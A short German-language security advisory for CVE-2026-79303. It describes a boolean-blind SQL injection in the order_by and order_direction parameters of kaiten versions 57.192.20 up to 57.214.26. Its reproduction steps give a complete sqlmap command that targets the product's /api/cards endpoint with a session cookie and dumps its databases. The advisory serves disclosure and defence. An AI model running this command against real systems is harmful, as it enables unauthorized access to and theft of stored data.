CVE-2026-79303

Boolean-blind SQL-Injection

Beschreibung: Dynamische SQL-Anweisungen werden ohne die erforderliche Datenvalidierung und ohne Verwendung von parametrisierten Anweisungen oder gespeicherten Prozeduren erstellt.

Auswirkung: SQLi

CVSSv3.1-Vektor: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Kritisch)

CWE: CWE-89: Fehlerhafte Neutralisierung von Sonderelementen, die in einem SQL-Befehl verwendet werden ('SQL-Injection')

Betroffene Komponente: GET-Parameter order_by & order_direction

Anbieter: kaiten

Betroffenes Produkt

• kaiten-Versionen: 57.192.20 < 57.214.26

Schritte zur Reproduktion:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. Geben Sie n ein (Cookie nicht mit einem neuen zusammenführen) -> C